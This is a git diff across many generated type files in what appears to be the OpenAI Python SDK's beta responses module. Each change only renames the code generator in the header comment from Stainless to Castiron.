diff --git a/src/openai/types/beta/beta_response_format_text_config.py b/src/openai/types/beta/beta_response_format_text_config.py
index c9dc25f6c2..f5f6f0cdf8 100644
--- a/src/openai/types/beta/beta_response_format_text_config.py
+++ b/src/openai/types/beta/beta_response_format_text_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_format_text_config_param.py b/src/openai/types/beta/beta_response_format_text_config_param.py
index e44ffe7da6..c10399f80d 100644
--- a/src/openai/types/beta/beta_response_format_text_config_param.py
+++ b/src/openai/types/beta/beta_response_format_text_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_format_text_json_schema_config.py b/src/openai/types/beta/beta_response_format_text_json_schema_config.py
index 292a112e1e..53f0cbc7d8 100644
--- a/src/openai/types/beta/beta_response_format_text_json_schema_config.py
+++ b/src/openai/types/beta/beta_response_format_text_json_schema_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py b/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
index 7727bf1238..89ff99be76 100644
--- a/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
+++ b/src/openai/types/beta/beta_response_format_text_json_schema_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_function_call_arguments_delta_event.py b/src/openai/types/beta/beta_response_function_call_arguments_delta_event.py
index 824b40a8cc..278420d84d 100644
--- a/src/openai/types/beta/beta_response_function_call_arguments_delta_event.py
+++ b/src/openai/types/beta/beta_response_function_call_arguments_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_function_call_arguments_done_event.py b/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
index b9ded692bb..0925b09c7e 100644
--- a/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
+++ b/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_function_call_output_item.py b/src/openai/types/beta/beta_response_function_call_output_item.py
index 633e1cc31e..90ca007d68 100644
--- a/src/openai/types/beta/beta_response_function_call_output_item.py
+++ b/src/openai/types/beta/beta_response_function_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_call_output_item_list.py b/src/openai/types/beta/beta_response_function_call_output_item_list.py
index f685686a41..dd3b378484 100644
--- a/src/openai/types/beta/beta_response_function_call_output_item_list.py
+++ b/src/openai/types/beta/beta_response_function_call_output_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_call_output_item_list_param.py b/src/openai/types/beta/beta_response_function_call_output_item_list_param.py
index 6eb02aeba2..e168faa06b 100644
--- a/src/openai/types/beta/beta_response_function_call_output_item_list_param.py
+++ b/src/openai/types/beta/beta_response_function_call_output_item_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_function_call_output_item_param.py b/src/openai/types/beta/beta_response_function_call_output_item_param.py
index 48233bf844..550bcc44cb 100644
--- a/src/openai/types/beta/beta_response_function_call_output_item_param.py
+++ b/src/openai/types/beta/beta_response_function_call_output_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_function_shell_call_output_content.py b/src/openai/types/beta/beta_response_function_shell_call_output_content.py
index 563661a9e6..146087b092 100644
--- a/src/openai/types/beta/beta_response_function_shell_call_output_content.py
+++ b/src/openai/types/beta/beta_response_function_shell_call_output_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_shell_call_output_content_param.py b/src/openai/types/beta/beta_response_function_shell_call_output_content_param.py
index ff0d93b769..bcc502cffc 100644
--- a/src/openai/types/beta/beta_response_function_shell_call_output_content_param.py
+++ b/src/openai/types/beta/beta_response_function_shell_call_output_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_function_shell_tool_call.py b/src/openai/types/beta/beta_response_function_shell_tool_call.py
index 7159936503..f6cdccfb60 100644
--- a/src/openai/types/beta/beta_response_function_shell_tool_call.py
+++ b/src/openai/types/beta/beta_response_function_shell_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_shell_tool_call_output.py b/src/openai/types/beta/beta_response_function_shell_tool_call_output.py
index 5d2e9d8fa3..2ab6a88a48 100644
--- a/src/openai/types/beta/beta_response_function_shell_tool_call_output.py
+++ b/src/openai/types/beta/beta_response_function_shell_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_tool_call.py b/src/openai/types/beta/beta_response_function_tool_call.py
index 9a975e0f2f..eb1f495d74 100644
--- a/src/openai/types/beta/beta_response_function_tool_call.py
+++ b/src/openai/types/beta/beta_response_function_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_tool_call_item.py b/src/openai/types/beta/beta_response_function_tool_call_item.py
index af69c19a5a..33936ad0a5 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_item.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_function_tool_call_output_item.py b/src/openai/types/beta/beta_response_function_tool_call_output_item.py
index a6832d7fcc..61b947048f 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_output_item.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_tool_call_param.py b/src/openai/types/beta/beta_response_function_tool_call_param.py
index 256a8bd398..85d918e64f 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_function_web_search.py b/src/openai/types/beta/beta_response_function_web_search.py
index 0d1a20e401..af57015543 100644
--- a/src/openai/types/beta/beta_response_function_web_search.py
+++ b/src/openai/types/beta/beta_response_function_web_search.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_function_web_search_param.py b/src/openai/types/beta/beta_response_function_web_search_param.py
index 2eb91c6446..8c8a92c684 100644
--- a/src/openai/types/beta/beta_response_function_web_search_param.py
+++ b/src/openai/types/beta/beta_response_function_web_search_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_image_gen_call_completed_event.py b/src/openai/types/beta/beta_response_image_gen_call_completed_event.py
index 2ba08cbb6b..6f3aadd48f 100644
--- a/src/openai/types/beta/beta_response_image_gen_call_completed_event.py
+++ b/src/openai/types/beta/beta_response_image_gen_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_image_gen_call_generating_event.py b/src/openai/types/beta/beta_response_image_gen_call_generating_event.py
index 736823afed..415ea84eda 100644
--- a/src/openai/types/beta/beta_response_image_gen_call_generating_event.py
+++ b/src/openai/types/beta/beta_response_image_gen_call_generating_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_image_gen_call_in_progress_event.py b/src/openai/types/beta/beta_response_image_gen_call_in_progress_event.py
index d4f896978c..b2c3381ec1 100644
--- a/src/openai/types/beta/beta_response_image_gen_call_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_image_gen_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py b/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
index f1e1509855..ba573ae307 100644
--- a/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
+++ b/src/openai/types/beta/beta_response_image_gen_call_partial_image_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_in_progress_event.py b/src/openai/types/beta/beta_response_in_progress_event.py
index 8bedfb0c28..0f9affec6e 100644
--- a/src/openai/types/beta/beta_response_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_includable.py b/src/openai/types/beta/beta_response_includable.py
index 1a2dc6a752..1d154e3b15 100644
--- a/src/openai/types/beta/beta_response_includable.py
+++ b/src/openai/types/beta/beta_response_includable.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/beta_response_incomplete_event.py b/src/openai/types/beta/beta_response_incomplete_event.py
index c522b98cf1..138f0a3d72 100644
--- a/src/openai/types/beta/beta_response_incomplete_event.py
+++ b/src/openai/types/beta/beta_response_incomplete_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_inject_created_event.py b/src/openai/types/beta/beta_response_inject_created_event.py
index 338df3fc6d..1deb40edf0 100644
--- a/src/openai/types/beta/beta_response_inject_created_event.py
+++ b/src/openai/types/beta/beta_response_inject_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_inject_event.py b/src/openai/types/beta/beta_response_inject_event.py
index 3b990f51db..9499939b01 100644
--- a/src/openai/types/beta/beta_response_inject_event.py
+++ b/src/openai/types/beta/beta_response_inject_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_inject_event_param.py b/src/openai/types/beta/beta_response_inject_event_param.py
index 6f0806c6e2..3bb9a62fcb 100644
--- a/src/openai/types/beta/beta_response_inject_event_param.py
+++ b/src/openai/types/beta/beta_response_inject_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_inject_failed_event.py b/src/openai/types/beta/beta_response_inject_failed_event.py
index a7618a2c84..f6c983f0e4 100644
--- a/src/openai/types/beta/beta_response_inject_failed_event.py
+++ b/src/openai/types/beta/beta_response_inject_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input.py b/src/openai/types/beta/beta_response_input.py
index acc5f5cb19..adb42a506b 100644
--- a/src/openai/types/beta/beta_response_input.py
+++ b/src/openai/types/beta/beta_response_input.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/beta/beta_response_input_content.py b/src/openai/types/beta/beta_response_input_content.py
index 9ba31e9d64..705d216670 100644
--- a/src/openai/types/beta/beta_response_input_content.py
+++ b/src/openai/types/beta/beta_response_input_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_input_content_param.py b/src/openai/types/beta/beta_response_input_content_param.py
index 6721cd6a05..dc405ab790 100644
--- a/src/openai/types/beta/beta_response_input_content_param.py
+++ b/src/openai/types/beta/beta_response_input_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_file.py b/src/openai/types/beta/beta_response_input_file.py
index eb38aade52..37661b60d5 100644
--- a/src/openai/types/beta/beta_response_input_file.py
+++ b/src/openai/types/beta/beta_response_input_file.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_file_content.py b/src/openai/types/beta/beta_response_input_file_content.py
index fc22bb1492..5f2f96dd96 100644
--- a/src/openai/types/beta/beta_response_input_file_content.py
+++ b/src/openai/types/beta/beta_response_input_file_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_file_content_param.py b/src/openai/types/beta/beta_response_input_file_content_param.py
index 6456405d79..ccc9a7426a 100644
--- a/src/openai/types/beta/beta_response_input_file_content_param.py
+++ b/src/openai/types/beta/beta_response_input_file_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_file_param.py b/src/openai/types/beta/beta_response_input_file_param.py
index ecbab5d915..12d226ed36 100644
--- a/src/openai/types/beta/beta_response_input_file_param.py
+++ b/src/openai/types/beta/beta_response_input_file_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_image.py b/src/openai/types/beta/beta_response_input_image.py
index 75669130f0..738998f7d5 100644
--- a/src/openai/types/beta/beta_response_input_image.py
+++ b/src/openai/types/beta/beta_response_input_image.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_image_content.py b/src/openai/types/beta/beta_response_input_image_content.py
index 31296f620d..24bf4d1cdf 100644
--- a/src/openai/types/beta/beta_response_input_image_content.py
+++ b/src/openai/types/beta/beta_response_input_image_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_image_content_param.py b/src/openai/types/beta/beta_response_input_image_content_param.py
index d811d39386..e692dea452 100644
--- a/src/openai/types/beta/beta_response_input_image_content_param.py
+++ b/src/openai/types/beta/beta_response_input_image_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_image_param.py b/src/openai/types/beta/beta_response_input_image_param.py
index 1060b3c984..57ad35d0c7 100644
--- a/src/openai/types/beta/beta_response_input_image_param.py
+++ b/src/openai/types/beta/beta_response_input_image_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index 1987baceee..1f62347705 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index bed203d31f..d705b16c95 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_message_content_list.py b/src/openai/types/beta/beta_response_input_message_content_list.py
index 52f382f532..ad674847cb 100644
--- a/src/openai/types/beta/beta_response_input_message_content_list.py
+++ b/src/openai/types/beta/beta_response_input_message_content_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/beta/beta_response_input_message_content_list_param.py b/src/openai/types/beta/beta_response_input_message_content_list_param.py
index 6ff2f32187..b6949e2164 100644
--- a/src/openai/types/beta/beta_response_input_message_content_list_param.py
+++ b/src/openai/types/beta/beta_response_input_message_content_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_message_item.py b/src/openai/types/beta/beta_response_input_message_item.py
index b4f58c6a0e..175ebbad30 100644
--- a/src/openai/types/beta/beta_response_input_message_item.py
+++ b/src/openai/types/beta/beta_response_input_message_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 87693fd054..d497669e47 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_text.py b/src/openai/types/beta/beta_response_input_text.py
index 68f158c231..51b1a5eeef 100644
--- a/src/openai/types/beta/beta_response_input_text.py
+++ b/src/openai/types/beta/beta_response_input_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_text_content.py b/src/openai/types/beta/beta_response_input_text_content.py
index c3e4b3ede1..9b8e5a65d6 100644
--- a/src/openai/types/beta/beta_response_input_text_content.py
+++ b/src/openai/types/beta/beta_response_input_text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_input_text_content_param.py b/src/openai/types/beta/beta_response_input_text_content_param.py
index f00ca7d5f1..b1003c3892 100644
--- a/src/openai/types/beta/beta_response_input_text_content_param.py
+++ b/src/openai/types/beta/beta_response_input_text_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_input_text_param.py b/src/openai/types/beta/beta_response_input_text_param.py
index 87bc4480a9..e9ceb8830c 100644
--- a/src/openai/types/beta/beta_response_input_text_param.py
+++ b/src/openai/types/beta/beta_response_input_text_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 5c8c42ef11..e538610e80 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_local_environment.py b/src/openai/types/beta/beta_response_local_environment.py
index c31d123754..0f3e0d90ed 100644
--- a/src/openai/types/beta/beta_response_local_environment.py
+++ b/src/openai/types/beta/beta_response_local_environment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_call_arguments_delta_event.py b/src/openai/types/beta/beta_response_mcp_call_arguments_delta_event.py
index de83fc6799..35575c7f02 100644
--- a/src/openai/types/beta/beta_response_mcp_call_arguments_delta_event.py
+++ b/src/openai/types/beta/beta_response_mcp_call_arguments_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_call_arguments_done_event.py b/src/openai/types/beta/beta_response_mcp_call_arguments_done_event.py
index 3cc440ed33..f667517fb9 100644
--- a/src/openai/types/beta/beta_response_mcp_call_arguments_done_event.py
+++ b/src/openai/types/beta/beta_response_mcp_call_arguments_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_call_completed_event.py b/src/openai/types/beta/beta_response_mcp_call_completed_event.py
index f7e154a182..d6dcaba6a2 100644
--- a/src/openai/types/beta/beta_response_mcp_call_completed_event.py
+++ b/src/openai/types/beta/beta_response_mcp_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_call_failed_event.py b/src/openai/types/beta/beta_response_mcp_call_failed_event.py
index bb26a09f5b..cd557d012c 100644
--- a/src/openai/types/beta/beta_response_mcp_call_failed_event.py
+++ b/src/openai/types/beta/beta_response_mcp_call_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_call_in_progress_event.py b/src/openai/types/beta/beta_response_mcp_call_in_progress_event.py
index abf25ab806..34d82cb21b 100644
--- a/src/openai/types/beta/beta_response_mcp_call_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_mcp_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_list_tools_completed_event.py b/src/openai/types/beta/beta_response_mcp_list_tools_completed_event.py
index c9ec208691..ff2324641c 100644
--- a/src/openai/types/beta/beta_response_mcp_list_tools_completed_event.py
+++ b/src/openai/types/beta/beta_response_mcp_list_tools_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_mcp_list_tools_failed_event.py b/src/openai/types/beta/beta_response_mcp_list_tools_failed_event.py
index 85acd9a613..2f6fc3088e 100644
--- a/src/openai/types/beta/beta_response_mcp_list_tools_failed_event.py
+++ b/src/openai/types/beta/beta_response_mcp_list_tools_failed_event.py
@@ -1,4 +1,4 @@
